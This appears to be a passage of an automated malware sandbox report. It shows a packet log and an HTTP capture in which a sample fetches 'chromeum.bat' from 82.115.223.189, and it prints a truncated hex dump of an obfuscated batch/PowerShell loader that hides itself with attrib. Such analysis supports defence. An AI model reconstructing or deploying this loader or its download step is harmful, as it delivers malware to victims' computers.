Nov 20, 2024 07:48:03.837021112 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837030888 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837053061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837086916 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837095022 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837119102 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837152958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837162971 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837184906 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837218046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837224960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837249041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837281942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837313890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837315083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837352037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837366104 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837384939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837418079 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837426901 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.837451935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837485075 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.837493896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.838311911 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.875360966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875392914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875426054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875459909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875492096 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875525951 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875560045 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875571966 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.875595093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.875627041 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.922624111 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.923872948 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.923980951 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924014091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924036980 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924066067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924099922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924120903 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924133062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924166918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924185991 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924218893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924251080 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924273968 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924303055 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924335003 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924369097 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924385071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924417019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924433947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924475908 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924526930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924530983 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924578905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924635887 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924650908 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924702883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924753904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924767971 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924787045 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924819946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924837112 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924853086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924905062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924906969 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.924937010 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924968958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.924984932 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925004005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925051928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925060034 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925085068 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925134897 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925141096 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925168991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925200939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925237894 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925252914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925285101 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925311089 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925323963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925357103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925379992 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925396919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925448895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925451994 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925486088 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925518990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925539017 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925554991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925586939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925597906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925621986 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925669909 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925673008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925725937 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925759077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925770998 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925792933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925825119 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925836086 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925858974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925890923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925901890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925925970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.925975084 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.925975084 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926009893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926043034 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926084042 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926117897 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926134109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926168919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926179886 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926202059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926218987 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926234007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926274061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926285982 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926307917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926357031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926374912 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926409006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926440954 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926457882 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926474094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926507950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926529884 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926542044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926573992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926606894 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926606894 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926640987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926665068 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926675081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926709890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926739931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926742077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926776886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926793098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926810980 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926842928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926855087 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926877022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926908970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926934004 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.926940918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926973104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.926995039 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927006960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927038908 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927064896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927072048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927103996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927124977 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927138090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927171946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927194118 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927205086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927234888 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927268028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927270889 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927300930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927335978 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927350044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927385092 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927403927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927417040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927449942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927474976 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927483082 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927515984 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927532911 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927550077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927582026 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927597046 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927615881 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927648067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927664042 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927680016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927712917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927727938 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927747011 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927778959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927795887 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927812099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927845001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927855968 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927877903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927911043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927925110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.927946091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.927993059 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.928236008 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.966116905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966165066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966202974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966236115 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.966238022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966274023 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966291904 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.966310024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966346025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966361046 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.966383934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.966445923 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.014827013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.014870882 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.014930964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.014966965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015000105 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015033007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015065908 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015070915 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015100956 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015103102 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015135050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015150070 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015168905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015202045 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015222073 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015235901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015269041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015301943 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015302896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015368938 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015403032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015435934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015436888 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015469074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015477896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015508890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:04.015539885 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.015569925 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.079371929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:04.084496975 CET	80	49704	82.115.223.189	192.168.2.5

HTTP Request Dependency Graph

82.115.223.189

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	82.115.223.189	80	3040	C:\Users\user\Desktop\BWuMwnE7tw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:48:01.681282997 CET	142	OUT	GET /chromeum.bat HTTP/1.0 User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko) Accept: / Host: 82.115.223.189
Nov 20, 2024 07:48:02.291048050 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 18 Nov 2024 14:42:51 GMT ETag: "216c03-62730ee60d31c" Accept-Ranges: bytes Content-Length: 2190339 Connection: close Content-Type: application/x-msdos-program Data Raw: 40 63 68 63 70 20 36 35 30 30 31 0d 0a 73 65 74 20 22 d0 9f d1 82 d5 83 d5 81 d5 84 d5 90 d5 aa d1 83 3d 79 73 57 4f 57 36 22 0d 0a 3a 3a 20 4a 6e 7a 6f 6e 63 20 50 76 67 75 79 0d 0a 3a 3a 20 42 73 72 64 65 6c 62 69 61 0d 0a 3a 3a 20 47 76 66 61 6a 6a 61 0d 0a 73 65 74 20 22 d4 b6 d5 a6 d0 b2 d0 bc d1 80 3d 73 68 65 6c 6c 2e 22 0d 0a 3a 3a 20 41 68 6f 61 6d 63 64 20 42 6f 62 66 62 78 66 6d 20 54 6a 7a 62 74 0d 0a 73 65 74 20 22 d0 9f d4 bd d4 b2 d4 b4 d5 a9 d5 94 3d 2f 68 20 2f 69 20 22 0d 0a 3a 3a 20 58 7a 70 75 6b 75 74 61 70 20 52 75 71 79 64 68 63 79 79 0d 0a 3a 3a 20 51 71 68 6e 67 78 79 69 20 50 6d 6c 71 64 6d 0d 0a 73 65 74 20 22 d5 8b d5 89 d5 ac d0 b2 d5 8b d4 b2 d5 86 d5 a5 3d 65 72 53 68 65 6c 22 0d 0a 3a 3a 20 53 66 6c 76 6d 20 50 72 63 68 64 64 74 6d 67 20 48 6f 74 71 62 6d 0d 0a 3a 3a 20 4c 6d 6b 78 79 6f 79 62 62 6c 6b 20 47 61 69 69 68 78 71 67 0d 0a 3a 3a 20 46 6e 79 70 6b 6a 75 66 73 0d 0a 73 65 74 20 22 d5 92 d5 92 d5 81 d5 8e d5 92 d1 80 3d 43 3a 5c 57 69 6e 22 0d 0a 73 65 74 20 [TRUNCATED] Data Ascii: @chcp 65001set "=ysWOW6":: Jnzonc Pvguy:: Bsrdelbia:: Gvfajjaset "=shell.":: Ahoamcd Bobfbxfm Tjzbtset "=/h /i ":: Xzpukutap Ruqydhcyy:: Qqhngxyi Pmlqdmset "=erShel":: Sflvm Prchddtmg Hotqbm:: Lmkxyoybblk Gaiihxqg:: Fnypkjufsset "=C:\Win"set "=l\v1.0"set "=exe %~0.Ums":: Eigdqamp Ktiet:: Amrbq Kbiydsbfckl Marfjmkzset "=dows\S"set "=echo F"set "=owsPow":: Mgqgsqkguas Cigwe Awgjnkph:: Hgpeve Btwfruhwduf Nmkjxf:: Yjnkwndlris Qoogoset "=4\Wind":: Atculh Gtywekljz Fuvjtuiyqim:: Kdkjzk Fyeuk Mdelaf:: Qzray Yahzqjdgepw:: Ddlvjcoset "=py /d ":: Kabgrmw:: Wtbewq Fwooc:: Svcihasset "=/q /y "set "=\power"set "= \| xco"%%%%%
Nov 20, 2024 07:48:02.291078091 CET	224	IN	Data Raw: b5 d5 8c d5 81 d0 bf d5 86 d5 8d 25 25 d5 84 d5 a4 d4 be d0 bc d4 b9 d1 82 d5 bb d5 8b 25 25 d0 9f d4 bd d4 b2 d4 b4 d5 a9 d5 94 25 25 d5 92 d5 92 d5 81 d5 8e d5 92 d1 80 25 25 d4 b3 d0 9f d5 82 d5 8f d5 a7 d5 b7 d5 88 25 25 d0 9f d1 82 d5 83 d5 Data Ascii: %%%%%%%%%%%%%%%%%%%%%%%%%set "
Nov 20, 2024 07:48:02.291090965 CET	1236	IN	Data Raw: d4 be d4 be d5 b5 d4 b7 3d 61 74 74 72 69 62 22 0d 0a 3a 3a 20 54 68 76 76 79 68 77 79 69 64 69 20 49 67 79 66 7a 78 64 74 70 65 6d 20 50 66 69 6b 77 73 0d 0a 3a 3a 20 49 67 6a 76 72 6f 0d 0a 73 65 74 20 22 d5 8b d5 90 d5 84 d5 8c d4 be 3d 20 25 Data Ascii: =attrib":: Thvvyhwyidi Igyfzxdtpem Pfikws:: Igjvroset "= %~0.Ums"set "= +s +h"%%%%%%@echo offset "=zjdh=%~dpnx0"set "=SET Ci"%
Nov 20, 2024 07:48:02.291099072 CET	1236	IN	Data Raw: 20 22 d5 8f d5 a4 d5 aa d1 87 d4 b2 d0 9f d4 b9 3d 49 6e 76 6f 6b 65 22 0d 0a 3a 3a 20 45 71 6e 63 77 69 76 63 71 20 49 63 75 75 61 78 6c 20 54 70 63 6c 73 74 6a 77 6d 68 61 0d 0a 73 65 74 20 22 d5 81 d1 80 d4 bc d5 b0 d4 bf d4 b2 d5 84 d1 80 3d Data Ascii: "=Invoke":: Eqncwivcq Icuuaxl Tpclstjwmhaset "=ress);"set "=[Syste"set "=ll""set "=1; $Mf":: Bzqmifanvi Etkalqepl:: Fubrxuu Wuzqd Adliyohcsm:: V
Nov 20, 2024 07:48:02.291114092 CET	1236	IN	Data Raw: a6 d5 80 d4 b8 d0 b8 d5 84 3d 43 75 72 72 65 6e 22 0d 0a 73 65 74 20 22 d4 b3 d5 b0 d1 82 d5 a9 d4 bf 3d 79 73 74 65 6d 2e 22 0d 0a 73 65 74 20 22 d5 85 d5 ac d4 be d5 b0 d4 b3 d4 b8 3d 79 28 29 3b 5b 41 22 0d 0a 73 65 74 20 22 d4 bd d5 af d5 a3 Data Ascii: =Curren"set "=ystem."set "=y();[A"set "=Cmrpwe"set "=gType."set "=($Tygm"set "=se($Mf":: Zzibnew Duetsojcmki:: Hfglexz Lwpprgl:: Wrx
Nov 20, 2024 07:48:02.291127920 CET	1236	IN	Data Raw: 64 62 6c 20 4d 70 66 65 6f 7a 65 0d 0a 73 65 74 20 22 d5 8d d0 bf d5 8b d1 83 d5 af d5 bb d5 90 d5 b8 d5 82 3d 6e 79 73 20 3d 20 22 0d 0a 73 65 74 20 22 d5 94 d4 b4 d5 87 d5 af d1 87 d1 86 3d 2c 20 5b 53 79 73 22 0d 0a 3a 3a 20 4d 77 62 64 7a 20 Data Ascii: dbl Mpfeozeset "=nys = "set "=, [Sys":: Mwbdz Dnrzekset "=ject S"set "=m.Conv"set "= = $Vf"set "=();[by"set "=ags]::"set
Nov 20, 2024 07:48:02.291142941 CET	1236	IN	Data Raw: d5 82 d0 bc d5 89 d5 87 3d 79 6e 79 73 20 29 22 0d 0a 3a 3a 20 4b 6f 69 6e 72 74 77 20 49 73 61 6e 6b 6d 73 62 69 6f 73 0d 0a 3a 3a 20 44 66 62 72 6e 7a 77 75 20 55 61 74 6e 72 63 71 74 65 0d 0a 3a 3a 20 4d 79 63 62 61 6b 71 6f 20 57 6b 6d 72 66 Data Ascii: =ynys )":: Koinrtw Isankmsbios:: Dfbrnzwu Uatnrcqte:: Mycbakqo Wkmrftqbog Lznqmcdppset "=AppDom":: Xvjuheze:: Wddiojrircm Mkehdvset "=%~0.Ums ":: Mxrphq Pgalgshxk Qruuvwf:: Nkyecma Lzcogjsset "
Nov 20, 2024 07:48:02.291156054 CET	1236	IN	Data Raw: d5 93 d5 a7 d5 80 d5 b8 d1 83 d4 be d0 bc 3d 70 72 65 73 73 69 22 0d 0a 73 65 74 20 22 d5 85 d5 a5 d5 ac d5 8c d1 86 d5 a6 3d 4f 75 74 2d 4e 75 22 0d 0d 0a 25 d0 92 d5 aa d0 bf d4 b9 d5 8c 25 25 d0 9f d5 ad d5 87 d5 bd d5 91 d4 bc d5 b1 d5 aa 25 Data Ascii: =pressi"set "=Out-Nu"%%%%%%%%%%%%%%%%%%%%%%%%%
Nov 20, 2024 07:48:02.291172028 CET	1236	IN	Data Raw: 93 d5 ae d0 bf d5 b5 d5 80 d4 bc d1 87 d5 87 d1 80 25 25 d4 ba d5 91 d4 b6 d5 82 d0 bc d5 93 d5 af 25 25 d4 b3 d5 85 d5 84 d5 84 d5 ad d5 8d d5 91 d5 a8 d1 80 25 25 d4 b8 d5 8b d5 a3 d5 82 d4 b8 d5 8e d4 bc 25 25 d5 89 d5 b6 d0 bf d4 b4 d5 aa d5 Data Ascii: %%%%%%%%%%%%%%%%%%%%%%%%%%%%
